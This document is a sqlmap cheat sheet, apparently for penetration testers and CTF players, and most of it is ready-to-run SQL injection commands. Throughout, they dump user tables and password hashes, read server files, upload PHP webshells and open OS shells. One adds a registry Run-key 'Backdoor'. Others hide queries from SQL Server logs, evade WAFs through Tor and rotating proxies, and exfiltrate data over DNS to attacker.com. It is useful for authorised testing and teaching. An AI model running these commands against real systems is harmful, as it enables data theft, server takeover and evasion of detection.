sqlmap

The sqlmap cheat sheet covers SQL injection detection, exploitation, database enumeration (MySQL/MSSQL/PostgreSQL/Oracle/SQLite), OS interaction, tamper scripts, WAF evasion, and practical attack workflows.

#Quick Reference

#Detect + Dump One-Liners

# GET parameter - detect and dump current DB
sqlmap -u "http://target/page?id=1" --dbs --batch

# POST login form - detect and dump users table
sqlmap -u "http://target/login" --data="user=admin&pass=test" -D app -T users --dump --batch

# From saved Burp request file - full enumeration
sqlmap -r req.txt --level=3 --risk=2 --dbs --batch

# Cookie injection - test session parameter
sqlmap -u "http://target/profile" --cookie="uid=5*" --dbs --batch

# API endpoint with JSON body
sqlmap -u "http://target/api/user" --data='{"id":"1"}' --headers="Content-Type: application/json" --dbs --batch

# Test all parameters in a form automatically
sqlmap -u "http://target/search" --forms --crawl=2 --batch --dbs

# Header injection (User-Agent, Referer, X-Forwarded-For)
sqlmap -u "http://target/" --headers="X-Forwarded-For: 1*" --dbs --batch

# Dump entire database, skip system DBs
sqlmap -u "http://target/page?id=1" --dump-all --exclude-sysdbs --batch

# Get OS shell via MySQL FILE privilege + writable webroot
sqlmap -u "http://target/page?id=1" --os-shell --batch

# MSSQL xp_cmdshell
sqlmap -u "http://target/page?id=1" --dbms=mssql --os-cmd="whoami" --batch

#Injection Workflow

SQLi Injection Workflow

Click any step to see commands and options. Follow the flow top to bottom.

#Command Builder

sqlmap Command Builder

Preset


#Target Specification

#Target Sources

# Single URL (GET param)
sqlmap -u "http://target/page?id=1&cat=news"

# Force-test a specific parameter
sqlmap -u "http://target/page?id=1&cat=news" -p id

# POST data
sqlmap -u "http://target/login" --data="username=admin&password=test"

# Custom delimiter in POST data
sqlmap -u "http://target/" --data="id=1;name=foo" --param-del=";"

# Load raw HTTP request from Burp/ZAP (recommended)
sqlmap -r request.txt

# Parse Burp proxy log (multiple requests)
sqlmap -l burp_proxy.log --scope=".*\.target\.com.*"

# Parse multiple targets from a file (one URL per line)
sqlmap -m targets.txt --batch

# Google dork
sqlmap -g "inurl:index.php?id=" --batch --dbs

# Direct DB connection
sqlmap -d "mysql://root:[email protected]:3306/testdb"

# Config file
sqlmap -c sqlmap.conf

#Request Configuration

# POST with JSON body (API)
sqlmap -u "http://target/api/item" \
  --data='{"id": 1, "name": "test"}' \
  --headers="Content-Type: application/json"

# PUT/DELETE methods
sqlmap -u "http://target/api/user/1" --method=PUT \
  --data='{"name":"test*"}' \
  --headers="Content-Type: application/json"

# XML/SOAP body
sqlmap -u "http://target/ws" \
  --data='<?xml version="1.0"?><id>1</id>' \
  --headers="Content-Type: text/xml"

# Cookie injection (append * to mark the injectable field)
sqlmap -u "http://target/dashboard" \
  --cookie="session=abc123; userid=5*"

# Header injection
sqlmap -u "http://target/" \
  --headers="X-Auth-Token: FUZZ*\nReferer: http://target/home"

# Anti-CSRF token handling
sqlmap -u "http://target/form" \
  --data="id=1&csrf=TOKEN" \
  --csrf-token="csrf" \
  --csrf-url="http://target/form"

# HTTP Basic / Digest / NTLM auth
sqlmap -u "http://target/admin?id=1" \
  --auth-type=Basic \
  --auth-cred="admin:password"

# Client certificate auth
sqlmap -u "https://target/page?id=1" \
  --auth-file=client.pem

# Force HTTPS
sqlmap -u "http://target/page?id=1" --force-ssl

# Chunked transfer encoding
sqlmap -u "http://target/page?id=1" --chunked

# HTTP parameter pollution
sqlmap -u "http://target/page?id=1" --hpp

#Detection Options

#Level and Risk

Setting Values Effect
--level=1 Default Tests GET/POST params only
--level=2 Adds HTTP Cookie header tests
--level=3 Adds HTTP User-Agent and Referer tests
--level=4 Adds extra headers
--level=5 Max Tests all possible injection points
--risk=1 Default Safe tests only
--risk=2 Adds time-based heavy query tests
--risk=3 Max Adds OR-based tests (may modify data)

#Detection Flags

Flag Description
--level=<1-5> Test depth (default: 1)
--risk=<1-3> Risk level of test queries (default: 1)
-p <param> Force-test specific parameter(s)
--skip=<param> Skip testing specific parameter(s)
--skip-static Skip parameters that appear static
--param-exclude=REGEX Exclude params matching regex
--dbms=<name> Skip DBMS detection, force backend
--os=<name> Force backend OS (Linux/Windows)
--string=<str> String present in True response
--not-string=<str> String present in False response
--regexp=<regex> Regex match for True response
--code=<HTTP code> HTTP code indicating True query
--text-only Compare only page text content
--titles Compare HTML page titles only
--smart Heuristic-first, thorough if found
--skip-heuristics Skip heuristic SQLi detection
--parse-errors Display backend DBMS error messages
-f / --fingerprint Extensive DBMS version fingerprinting

#Injection Techniques

Code Technique Speed Notes
B Boolean-based blind Slow True/False response diff; bisection algo (7 req/char)
E Error-based Fast Requires verbose DBMS errors to be shown in response
U UNION query-based Fastest Data returned inline; needs correct column count
S Stacked queries Medium Semicolon-separated; enables DML/DDL, needed for OS shell
T Time-based blind Slowest Infers via response delay (SLEEP/WAITFOR); use --time-sec
Q Inline / OOB Varies DNS exfil via --dns-domain; sub-queries
# Specify single technique
sqlmap -u "http://target/page?id=1" --technique=U

# Combine techniques
sqlmap -u "http://target/page?id=1" --technique=BET

# All techniques (default)
sqlmap -u "http://target/page?id=1" --technique=BEUSTQ

# Tune time-based delay (seconds, default 5)
sqlmap -u "http://target/page?id=1" --technique=T --time-sec=3

# Force UNION columns count and delimiter
sqlmap -u "http://target/page?id=1" --technique=U \
  --union-cols=10 --union-char=NULL --union-from=users

#Enumeration

#Database Enumeration

# Current context
sqlmap -u "URL" --current-db
sqlmap -u "URL" --current-user
sqlmap -u "URL" --hostname
sqlmap -u "URL" --is-dba
sqlmap -u "URL" --banner

# List all databases
sqlmap -u "URL" --dbs

# List tables in database
sqlmap -u "URL" -D mydb --tables

# List columns in table
sqlmap -u "URL" -D mydb -T users --columns

# Dump specific table
sqlmap -u "URL" -D mydb -T users --dump

# Dump specific columns only
sqlmap -u "URL" -D mydb -T users -C "username,password" --dump

# Dump all accessible data (skip system DBs)
sqlmap -u "URL" --dump-all --exclude-sysdbs

# Full schema enumeration
sqlmap -u "URL" --schema --exclude-sysdbs

# Row count per table
sqlmap -u "URL" -D mydb --count

# Dump with WHERE filter
sqlmap -u "URL" -D mydb -T users --dump \
  --where="id > 100"

# Dump rows 10-20
sqlmap -u "URL" -D mydb -T users --dump \
  --start=10 --stop=20

#Users and Privileges

# Enumerate DBMS users
sqlmap -u "URL" --users

# Dump password hashes (auto-attempts crack)
sqlmap -u "URL" --passwords

# List privileges per user
sqlmap -u "URL" --privileges

# List roles (Oracle)
sqlmap -u "URL" --roles

# Target specific user
sqlmap -u "URL" --privileges -U "webapp_user"

#Search and Custom Queries

# Search tables matching pattern
sqlmap -u "URL" --search -T user

# Search columns matching pattern
sqlmap -u "URL" --search -C pass

# Search databases matching pattern
sqlmap -u "URL" --search -D admin

# Run arbitrary SQL statement
sqlmap -u "URL" --sql-query="SELECT version()"

# Interactive SQL shell
sqlmap -u "URL" --sql-shell

# Execute SQL from file
sqlmap -u "URL" --sql-file=commands.sql

# Brute-force common table/column names
sqlmap -u "URL" --common-tables
sqlmap -u "URL" --common-columns

#Enumeration Reference

Flag Scope Description
-D <db> Database Target specific database
-T <table> Table Target specific table (comma-sep)
-C <col> Column Target specific column(s)
-X <name> Exclude Exclude identifiers
-U <user> User Target specific DB user
--start=N Rows First row index to dump
--stop=N Rows Last row index to dump
--first=N Chars First character position to retrieve
--last=N Chars Last character position to retrieve
--pivot-column=col Dump Use column as dump pivot
--where=COND Dump SQL WHERE clause for dump filtering
--dump-format=FMT Output CSV (default), HTML, or SQLITE

#Database-Specific Techniques

#MySQL

# Force MySQL backend
sqlmap -u "URL" --dbms=mysql

# Read arbitrary file (requires FILE privilege)
sqlmap -u "URL" --file-read="/etc/passwd"
sqlmap -u "URL" --file-read="/var/www/html/config.php"

# Write webshell (requires FILE privilege + writable dir)
sqlmap -u "URL" \
  --file-write="shell.php" \
  --file-dest="/var/www/html/shell.php"

# Get OS shell via UDF injection
sqlmap -u "URL" --os-shell

# MySQL-specific tamper combo
sqlmap -u "URL" --dbms=mysql \
  --tamper=space2comment,versionedkeywords,randomcase

# Version comments bypass (inline execution)
# Payload example: /*!50000SELECT*/
sqlmap -u "URL" --prefix="/*!50000" --suffix="*/"

#MSSQL (SQL Server)

# Force MSSQL backend
sqlmap -u "URL" --dbms=mssql

# xp_cmdshell OS command execution
# sqlmap enables it automatically if user is sysadmin
sqlmap -u "URL" --os-cmd="whoami /all"

# Interactive OS shell via xp_cmdshell
sqlmap -u "URL" --os-shell

# Read file via BULK INSERT / OPENROWSET
sqlmap -u "URL" --file-read="C:\\inetpub\\wwwroot\\web.config"

# Windows Registry access
sqlmap -u "URL" --dbms=mssql \
  --reg-read \
  --reg-key="HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" \
  --reg-value="ProductName"

# Write to registry
sqlmap -u "URL" --dbms=mssql \
  --reg-add \
  --reg-key="HKLM\\Software\\MyApp" \
  --reg-value="Shell" \
  --reg-data="cmd.exe" \
  --reg-type=REG_SZ

# Hide queries from T-SQL logs
sqlmap -u "URL" --dbms=mssql --tamper=sp_password

# Privilege escalation
sqlmap -u "URL" --dbms=mssql --priv-esc

#PostgreSQL

# Force PostgreSQL backend
sqlmap -u "URL" --dbms=postgresql

# OS shell via COPY command (superuser required)
sqlmap -u "URL" --os-shell

# Read file via COPY FROM
# Manual payload: COPY (SELECT '') TO '/tmp/test'

# File write via COPY TO
sqlmap -u "URL" \
  --file-write="shell.php" \
  --file-dest="/var/www/html/shell.php"

# Large Object injection for file read
sqlmap -u "URL" --file-read="/etc/postgresql/pg_hba.conf"

# PostgreSQL stacked queries for DDL
sqlmap -u "URL" --technique=S --dbms=postgresql \
  --sql-query="CREATE OR REPLACE FUNCTION..."

#Oracle

# Force Oracle backend
sqlmap -u "URL" --dbms=oracle

# Enumerate schemas (equivalent of databases)
sqlmap -u "URL" --dbs          # lists schemas
sqlmap -u "URL" -D SYS --tables

# Oracle-specific UNION (needs FROM DUAL)
sqlmap -u "URL" --technique=U \
  --union-from="DUAL"

# UTL_FILE read (requires EXECUTE privilege)
# Manual: SELECT UTL_FILE.GET_LINE(fid) FROM DUAL

# Oracle dunion bypass tamper
sqlmap -u "URL" --dbms=oracle --tamper=dunion,randomcase

#SQLite

# Force SQLite backend
sqlmap -u "URL" --dbms=sqlite

# SQLite has single database, list tables
sqlmap -u "URL" --tables

# SQLite does not support stacked queries normally
sqlmap -u "URL" --technique=BEU --dbms=sqlite

# Dump entire SQLite DB
sqlmap -u "URL" --dump-all

#Database Capabilities Matrix

Feature MySQL MSSQL PostgreSQL Oracle SQLite
Error-based Yes Yes Yes Yes No
UNION-based Yes Yes Yes Yes Yes
Stacked queries Yes Yes Yes No No
--file-read FILE priv sysadmin superuser UTL_FILE N/A
--file-write FILE priv sysadmin superuser UTL_FILE N/A
--os-shell UDF/FILE xp_cmdshell COPY cmd No No
--priv-esc No Yes No No No
DNS exfil Yes Yes Yes Yes No

#OS Interaction

#File System Access

# Read file from server filesystem
sqlmap -u "URL" --file-read="/etc/passwd"
sqlmap -u "URL" --file-read="/var/www/html/config.php"
sqlmap -u "URL" --file-read="C:\\Windows\\System32\\drivers\\etc\\hosts"

# Write local file to server (webshell upload)
sqlmap -u "URL" \
  --file-write="/home/user/shell.php" \
  --file-dest="/var/www/html/uploads/shell.php"

# Use --web-root to auto-detect destination
sqlmap -u "URL" \
  --file-write="shell.php" \
  --web-root="/var/www/html"

#OS Command Execution

# Run single OS command
sqlmap -u "URL" --os-cmd="id"
sqlmap -u "URL" --os-cmd="whoami /all"
sqlmap -u "URL" --os-cmd="net user"

# Interactive pseudo-terminal OS shell
sqlmap -u "URL" --os-shell

# OOB shell: Meterpreter or VNC session
sqlmap -u "URL" --os-pwn

# SMB relay attack (Windows, requires Metasploit)
sqlmap -u "URL" --os-smbrelay

# Stack-based buffer overflow via SQL injection
sqlmap -u "URL" --os-bof

# Privilege escalation (MSSQL token stealing)
sqlmap -u "URL" --priv-esc

# UDF injection (custom shared library)
sqlmap -u "URL" --udf-inject \
  --shared-lib=/tmp/udf.so

#Windows Registry

# Read registry value
sqlmap -u "URL" --reg-read \
  --reg-key="HKLM\\SYSTEM\\CurrentControlSet\\Services\\W3SVC" \
  --reg-value="ImagePath"

# Write registry value
sqlmap -u "URL" --reg-add \
  --reg-key="HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" \
  --reg-value="Backdoor" \
  --reg-data="C:\\shell.exe" \
  --reg-type=REG_SZ

# Delete registry value
sqlmap -u "URL" --reg-del \
  --reg-key="HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" \
  --reg-value="Backdoor"

#Advanced Techniques

#Second-Order Injection

Second-order (stored) injection: payload is stored first, then executed when retrieved by a different endpoint.

# Inject into registration form, trigger at profile page
sqlmap -u "http://target/register" \
  --data="username=admin'--&password=test" \
  --second-url="http://target/profile"

# With session cookie (authenticated)
sqlmap -u "http://target/register" \
  --data="username=admin'--&password=test" \
  --cookie="session=abc123" \
  --second-url="http://target/profile" \
  --batch

# Load second-order response from request file
sqlmap -u "http://target/register" \
  --data="username=test&email=*" \
  --second-req=profile_request.txt

#JSON, XML, and API Injection

# JSON parameter injection
sqlmap -u "http://target/api/search" \
  --data='{"query": "test", "id": 1}' \
  --headers="Content-Type: application/json" \
  -p id --dbs

# Nested JSON object
sqlmap -u "http://target/api/user" \
  --data='{"user":{"id":"1*"}}' \
  --headers="Content-Type: application/json"

# XML / SOAP injection
sqlmap -u "http://target/soap" \
  --data='<request><id>1</id></request>' \
  --headers="Content-Type: application/xml" \
  -p id

# REST URL path injection (use * to mark position)
sqlmap -u "http://target/api/user/1*" --dbs

# GraphQL (inject into variable)
sqlmap -u "http://target/graphql" \
  --data='{"query":"query{user(id:\"1*\"){ name }}"}' \
  --headers="Content-Type: application/json"

# Cookie-based injection
sqlmap -u "http://target/page" \
  --cookie="session=abc; id=5*" \
  -p id --level=2 --dbs

#Forms and Crawling

# Auto-detect and test all forms on a page
sqlmap -u "http://target/login" --forms --batch

# Crawl site and test all found injection points
sqlmap -u "http://target/" --crawl=3 --forms --batch \
  --level=3 --risk=2

# Exclude paths from crawl
sqlmap -u "http://target/" --crawl=2 \
  --crawl-exclude="logout|delete"

# Process results scoped to domain
sqlmap -l burp.log --scope=".*target\.com.*" --batch

#Out-of-Band (DNS) Exfiltration

# Requires control of a DNS server (e.g., Burp Collaborator, interactsh)
sqlmap -u "URL" \
  --technique=Q \
  --dns-domain="yourburp.collaborator.net" \
  --dbs

# DNS exfil is fast and bypasses response-based filtering
# Payload example (MySQL): SELECT LOAD_FILE(CONCAT('\\\\',version(),'.attacker.com\\x'))

#WAF Bypass & Evasion

#Evasion Options

# Random User-Agent
sqlmap -u "URL" --random-agent

# Delay between requests (seconds)
sqlmap -u "URL" --delay=2

# Request timeout
sqlmap -u "URL" --timeout=30

# Retry on timeout
sqlmap -u "URL" --retries=5

# Safe URL to interleave (avoid session expiry / IDS patterns)
sqlmap -u "URL" \
  --safe-url="http://target/home" \
  --safe-freq=5

# Route through Burp Suite proxy
sqlmap -u "URL" --proxy="http://127.0.0.1:8080"

# Rotate proxies from file (switch every N requests)
sqlmap -u "URL" \
  --proxy-file=proxies.txt \
  --proxy-freq=3

# Tor network
sqlmap -u "URL" --tor --tor-type=SOCKS5 --check-tor

# Spoof X-Forwarded-For header
sqlmap -u "URL" \
  --headers="X-Forwarded-For: 127.0.0.1"

# Skip URL encoding
sqlmap -u "URL" --skip-urlencode

# Custom payload prefix/suffix (escape existing context)
sqlmap -u "URL" --prefix="'" --suffix="-- -"

# Skip WAF detection heuristic (go straight to payloads)
sqlmap -u "URL" --skip-waf

# Mobile user agent
sqlmap -u "URL" --mobile

# HTTP chunked transfer encoding bypass
sqlmap -u "URL" --chunked

# HTTP parameter pollution
sqlmap -u "URL" --hpp

#Tamper Script Usage

# List all available tamper scripts
sqlmap --list-tampers

# Apply single tamper
sqlmap -u "URL" --tamper=space2comment

# Chain multiple tampers (applied in order)
sqlmap -u "URL" --tamper=space2comment,randomcase,charencode

# Aggressive WAF bypass combo
sqlmap -u "URL" \
  --tamper=between,randomcase,space2comment,charencode \
  --random-agent --delay=1 --level=3

# ModSecurity bypass (MySQL)
sqlmap -u "URL" --dbms=mysql \
  --tamper=modsecurityversioned,space2comment,randomcase

# MSSQL bypass combo
sqlmap -u "URL" --dbms=mssql \
  --tamper=space2mssqlblank,randomcase,sp_password

# Cloudflare / Lua-Nginx bypass
sqlmap -u "URL" --tamper=luanginx,space2comment,randomcase

#Tamper Scripts Reference

#Encoding Tampers

Tamper Effect Target
base64encode Encodes entire payload as Base64 All
charencode URL-encodes all chars (%XX) All
chardoubleencode Double URL-encodes all chars (%25XX) All
charunicodeencode Unicode URL-encodes (%uXXXX) ASP/MSSQL
charunicodeescape Unicode escape sequences ASP/.NET
htmlencode HTML entity encodes chars All
hexentities Hex HTML entities (&#xXX;) All
decentities Decimal HTML entities (&#XX;) All
overlongutf8 Overlong UTF-8 encoding (%C0%A7) All
overlongutf8more More aggressive overlong UTF-8 All
percentage Prefixes each char with % (ASP) MSSQL/ASP
apostrophemask Single quote to UTF-8 full-width All
apostrophenullencode Single quote to %00%27 All
escapequotes Backslash-escapes quotes All

#Space Replacement Tampers

Tamper Replaces space with Target
space2comment /**/ All DBs
space2plus + All DBs
space2dash -- + random + newline MSSQL, SQLite
space2hash # + random + newline MySQL only
space2morecomment /*random*/ MySQL
space2morehash #random\n#random\n MySQL
space2mssqlblank Random blank chars (%0D, %04) MSSQL only
space2mssqlhash #\n MSSQL
space2mysqlblank Random MySQL-valid blanks MySQL
space2mysqldash --\n MySQL, MSSQL
space2randomblank Random whitespace char All DBs
multiplespaces Multiple space chars around keywords All DBs

#Operator / Keyword Tampers

Tamper Effect DBs
between > -> NOT BETWEEN 0 AND / = -> BETWEEN # AND # All
greatest A > B -> GREATEST(A,B+1)=A MySQL, Oracle, PgSQL
least A > B -> LEAST(A,B) counterpart MySQL, Oracle, PgSQL
equaltolike = -> LIKE MSSQL, MySQL
equaltorlike = -> RLIKE MySQL
randomcase Randomizes case of SQL keywords All
uppercase Uppercases all keywords All
lowercase Lowercases all keywords All
symboliclogical AND -> %26%26, OR -> %7C%7C All
concat2concatws CONCAT(A,B) -> CONCAT_WS(MID(CHAR(0),0,0),A,B) MySQL
ifnull2ifisnull IFNULL(A,B) -> IF(ISNULL(A),B,A) MySQL, SQLite
ifnull2casewhenisnull IFNULL(A,B) -> CASE WHEN ISNULL(A) THEN B ELSE A END MySQL
if2case IF(A,B,C) -> CASE WHEN A THEN B ELSE C END MySQL
substring2leftright SUBSTRING -> LEFT/RIGHT MySQL, MSSQL
plus2concat + -> CONCAT() (MSSQL) MSSQL
plus2fnconcat + -> fn.CONCAT() (MSSQL ODBC) MSSQL
hex2char 0xDEAD -> CONCAT(CHAR(222),...) MySQL
ord2ascii ORD() -> ASCII() MySQL
unionalltounion UNION ALL SELECT -> UNION SELECT All
appendnullbyte Appends %00 NULL byte to payload Access

#Comment & Versioned Tampers

Tamper Effect Target Notes
versionedkeywords Wraps each keyword in /*!...*/ MySQL Generic WAF bypass
versionedmorekeywords More aggressive versioned keyword wrapping MySQL
halfversionedmorekeywords Adds versioned comment before each keyword MySQL < 5.1 ModSecurity bypass
modsecurityversioned Wraps entire query in /*!30963.../ MySQL ModSecurity bypass
modsecurityzeroversioned Wraps in /*!00000...*/ MySQL ModSecurity bypass
informationschemacomment Adds /*!*/ to information_schema MySQL Filter evasion
randomcomments Inserts /**/ between keyword chars MySQL Signature bypass
commentbeforeparentheses Adds /**/ before ( in function calls All Function call bypass
schemasplit Splits schema identifiers MySQL

#WAF / Platform-Specific Tampers

Tamper Effect WAF / Platform
bluecoat Space after keyword -> %09, = -> LIKE Blue Coat SGOS
varnish Adds X-originating-IP: 127.0.0.1 header Varnish cache
xforwardedfor Appends fake X-Forwarded-For and related headers IP-based filtering
luanginx Prepends 500 dummy params to overflow WAF parser Cloudflare / Lua-Nginx
luanginxmore Prepends 4.2M dummy POST params Cloudflare (extreme)
sp_password Appends sp_password to hide from T-SQL logs MSSQL logging
dunion Replaces N UNION with NDUNION Oracle
misunion Replaces UNION with -.1UNION MySQL
0eunion Replaces UNION with e0UNION MySQL
binary Injects BINARY keyword for case sensitivity MySQL
scientific Represents numbers in scientific notation MySQL
sleep2getlock SLEEP(N) -> GET_LOCK(RANDOM,N) MySQL concurrent
unmagicquotes ' -> %bf%27-- - (multi-byte bypass) magic_quotes / addslashes

#Authentication & Sessions

#Authentication Options

# HTTP Basic authentication
sqlmap -u "URL" --auth-type=Basic --auth-cred="user:pass"

# HTTP Digest
sqlmap -u "URL" --auth-type=Digest --auth-cred="user:pass"

# NTLM (Windows domain)
sqlmap -u "URL" --auth-type=NTLM --auth-cred="DOMAIN\\user:pass"

# PKI / client certificate
sqlmap -u "URL" --auth-type=PKI --auth-file=client.pem

# Session cookie (authenticated scan)
sqlmap -u "URL" --cookie="PHPSESSID=abcdef123456"

# Load cookies from Netscape format file
sqlmap -u "URL" --load-cookies=cookies.txt

# Live cookies file (updated by external browser)
sqlmap -u "URL" --live-cookies=cookies.txt

# Drop Set-Cookie responses (keep original session)
sqlmap -u "URL" --drop-set-cookie

# Custom Authorization header
sqlmap -u "URL" --headers="Authorization: Bearer eyJhb..."

# Ignore HTTP error codes (403, 404, 500)
sqlmap -u "URL" --ignore-code=403

# Ignore redirects
sqlmap -u "URL" --ignore-redirects

#Anti-CSRF Token Handling

# Auto-extract CSRF token from response
sqlmap -u "http://target/form" \
  --data="id=1&_token=DUMMY" \
  --csrf-token="_token"

# Fetch token from separate URL before each request
sqlmap -u "http://target/form" \
  --data="id=1&csrf=DUMMY" \
  --csrf-token="csrf" \
  --csrf-url="http://target/get-token" \
  --csrf-method=GET

# Pre-request Python eval for dynamic values
sqlmap -u "http://target/api" \
  --eval="import time; timestamp=str(int(time.time()))" \
  --data="ts=timestamp&id=1"

#Optimization

#Performance Flags

Flag Default Description
--threads=N 1 Concurrent HTTP requests (max 10)
-o off Enable all optimization switches
--keep-alive off Persistent HTTP connections (faster)
--null-connection off Get page length without body
--predict-output off Predict common output (fewer requests)
--batch off No prompts, use defaults throughout
--smart off Heuristic first, full test only if found
--delay=N 0 Seconds delay between requests
--timeout=N 30 Connection timeout in seconds
--retries=N 3 Retry count on timeout

#Optimization One-Liners

# Fastest possible scan (risk: high traffic)
sqlmap -u "URL" -o --threads=10 --batch --level=3

# Stealth scan (low-and-slow)
sqlmap -u "URL" --delay=3 --safe-freq=2 \
  --safe-url="http://target/" \
  --random-agent --threads=1

# Smart scan (heuristic-first, no wasted requests)
sqlmap -u "URL" --smart --batch --threads=5

# Save options to config for reuse
sqlmap -u "URL" --batch --save=myconfig.conf

# Load options from config
sqlmap -c myconfig.conf

#Output and Charset

# HEX encoding for binary/non-printable data
sqlmap -u "URL" -D mydb -T files --dump --hex

# Specify custom charset for blind injection (speeds up)
sqlmap -u "URL" --charset="0123456789abcdef"

# Force output dump format
sqlmap -u "URL" --dump --dump-format=HTML

# Custom output directory
sqlmap -u "URL" --output-dir=/tmp/pentest_results

# Log all HTTP traffic to file
sqlmap -u "URL" -t traffic.log

# HAR traffic log
sqlmap -u "URL" --har=traffic.har

# Show ETA for data retrieval
sqlmap -u "URL" --dump --eta

# Parse and display DBMS error messages
sqlmap -u "URL" --parse-errors

#Sessions & Output

#Session Management

# Sessions auto-saved to ~/.sqlmap/output/<target>/session.sqlite

# Resume previous session
sqlmap -u "URL" -s ~/.sqlmap/output/target/session.sqlite

# Flush session (restart from scratch)
sqlmap -u "URL" --flush-session

# Fresh queries (ignore cache, re-run queries)
sqlmap -u "URL" --fresh-queries

# Repair unknown/garbled characters in dump
sqlmap -u "URL" --repair

# Purge all sqlmap data
sqlmap --purge

# Pre-define answers to interactive prompts
sqlmap -u "URL" --answers="follow=N,extending=Y"

#Output Location

~/.sqlmap/output/
└── <target-host>/
    ├── session.sqlite       # Cached session state
    ├── log                  # Request/response log
    └── dump/
        └── <database>/
            └── <table>.csv  # Dumped table data

#Practical Workflows

#Workflow: CTF GET Parameter

# 1. Detect and list databases
sqlmap -u "http://target/page?id=1" --batch --dbs

# 2. Get current database name
sqlmap -u "http://target/page?id=1" --batch --current-db

# 3. Enumerate tables in target DB
sqlmap -u "http://target/page?id=1" -D targetdb --tables --batch

# 4. Dump the interesting table
sqlmap -u "http://target/page?id=1" -D targetdb -T users --dump --batch
# sqlmap auto-cracks hash fields with dictionary attack

# 5. If DBA: escalate to OS shell or read files
sqlmap -u "http://target/page?id=1" --is-dba --batch
sqlmap -u "http://target/page?id=1" --os-shell --batch

#Workflow: Login Form POST

# 1. Capture request in Burp -> Save Item -> req.txt

# 2. Run detection with higher sensitivity
sqlmap -r req.txt --batch --level=3 --risk=2

# 3. Target specific parameter if needed
sqlmap -r req.txt -p username --dbs --batch

# 4. Dump credentials
sqlmap -r req.txt -p username -D app -T users \
  --dump -C "username,password" --batch

# 5. Second-order injection (input here, output elsewhere)
sqlmap -r req.txt --second-url="http://target/profile" --batch

#Workflow: API Endpoint

# Step 1: Intercept API call, save to api_req.txt, run detection
sqlmap -r api_req.txt --batch --level=2

# OR manually specify JSON body
sqlmap -u "http://target/api/v1/product" \
  --data='{"product_id": 1, "category": "books"}' \
  --headers="Content-Type: application/json\nAuthorization: Bearer TOKEN" \
  --batch --dbs

# Step 2: Targeted dump
sqlmap -u "http://target/api/v1/product" \
  --data='{"product_id": 1}' \
  --headers="Content-Type: application/json\nAuthorization: Bearer TOKEN" \
  -D appdb -T products --dump --batch

# Step 3: If stacked queries work, attempt OS interaction
sqlmap -u "http://target/api/v1/product" \
  --data='{"product_id": 1}' \
  --headers="Content-Type: application/json\nAuthorization: Bearer TOKEN" \
  --technique=S --os-cmd="id" --batch
# Step 1: Mark injectable cookie value with *
sqlmap -u "http://target/dashboard" \
  --cookie="session=abc123; uid=7*" \
  --level=2 --batch --dbs

# Step 2: Enumerate without * (sqlmap remembers param)
sqlmap -u "http://target/dashboard" \
  --cookie="session=abc123; uid=7" \
  -p uid -D appdb --tables --batch

# Step 3: Dump with filter
sqlmap -u "http://target/dashboard" \
  --cookie="session=abc123; uid=7" \
  -p uid -D appdb -T users --dump \
  --where="admin=1" --batch

#Workflow: Burp Suite to sqlmap

# 1. In Burp: right-click request > "Save item" -> req.txt

# 2. Run detection with error parsing
sqlmap -r req.txt --batch --level=3 --risk=2 --parse-errors

# 3. Identify injectable parameter from output, re-run targeted
sqlmap -r req.txt -p id --dbs --batch

# 4. Enumerate tables
sqlmap -r req.txt -p id -D targetdb --tables --batch

# 5. Dump target table
sqlmap -r req.txt -p id -D targetdb -T users --dump --batch

# 6. Check DBA and escalate
sqlmap -r req.txt -p id --is-dba --batch
sqlmap -r req.txt -p id --os-shell --batch
sqlmap -r req.txt -p id --file-read="/etc/passwd" --batch

# Results saved to: ~/.sqlmap/output/<host>/dump/

#Full Options Reference

#Target & Request Flags

Flag Description
-u <URL> Target URL
-d <conn> Direct DB connection string
-r <file> Load HTTP request from file
-l <log> Parse Burp/WebScarab proxy log
-m <file> Scan multiple URLs from file
-g <dork> Process Google dork results
-c <conf> Load options from INI config file
--data=<data> POST data string
--method=<M> Force HTTP method (PUT, DELETE...)
--cookie=<c> HTTP Cookie header value
--headers=<h> Extra HTTP headers (newline-sep)
--user-agent=<ua> Custom User-Agent string
--random-agent Use random HTTP User-Agent
--mobile Smartphone User-Agent imitation
--host=<host> Override HTTP Host header
--referer=<url> HTTP Referer header
--auth-type=<t> HTTP auth type (Basic/Digest/NTLM/PKI)
--auth-cred=<u:p> HTTP auth credentials
--auth-file=<f> PEM cert/key for auth
--proxy=<url> HTTP(S) proxy address
--proxy-cred=<u:p> Proxy credentials
--proxy-file=<f> Load proxy list from file
--proxy-freq=N Requests between proxy rotation
--tor Use Tor network
--tor-port=N Tor proxy port
--tor-type=<t> Tor type (HTTP/SOCKS4/SOCKS5)
--check-tor Verify Tor config
--delay=N Delay seconds between requests
--timeout=N Connection timeout (default 30)
--retries=N Retry count on timeout
--safe-url=<url> Safe URL to visit periodically
--safe-freq=N Requests between safe URL visits
--csrf-token=<p> Anti-CSRF token parameter name
--csrf-url=<url> URL to fetch CSRF token from
--eval=<code> Python eval before each request
--force-ssl Force HTTPS
--chunked Use chunked transfer encoding
--hpp HTTP parameter pollution
--skip-urlencode Skip URL-encoding of payload
--ignore-code=N Ignore specific HTTP error codes
--ignore-redirects Ignore HTTP redirects
--ignore-timeouts Ignore connection timeouts
--drop-set-cookie Ignore Set-Cookie responses
--live-cookies=<f> Live cookies file
--load-cookies=<f> Load Netscape cookies file
--param-del=<c> Parameter delimiter character

#Injection & Detection Flags

Flag Description
-p <param> Force-test specific parameter(s)
--skip=<param> Skip testing this parameter
--skip-static Skip non-dynamic parameters
--param-exclude=<r> Exclude params matching regex
--param-filter=<p> Select by place (GET/POST/COOKIE)
--dbms=<name> Force DBMS backend
--dbms-cred=<u:p> DBMS credentials
--os=<os> Force OS (Linux/Windows)
--prefix=<str> Payload prefix string
--suffix=<str> Payload suffix string
--tamper=<script> Tamper script(s) to apply
--level=<1-5> Test depth level
--risk=<1-3> Test risk level
--string=<str> String in True response
--not-string=<str> String in False response
--regexp=<re> Regex for True response
--code=<N> HTTP code indicating True
--smart Heuristic before full test
--text-only Text-only comparison
--titles Title-based comparison
--technique=<tech> Techniques (BEUSTQ)
--time-sec=N Time-based delay seconds
--union-cols=<r> Column range for UNION
--union-char=<c> UNION column brute-force char
--union-from=<t> FROM clause for UNION
--dns-domain=<d> DNS exfil domain
--second-url=<url> Second-order response URL
--second-req=<f> Second-order request file
--no-cast Disable payload casting
--no-escape Disable string escaping
--invalid-bignum Big numbers for invalidation
--invalid-logical Logical ops for invalidation
--invalid-string Random string for invalidation
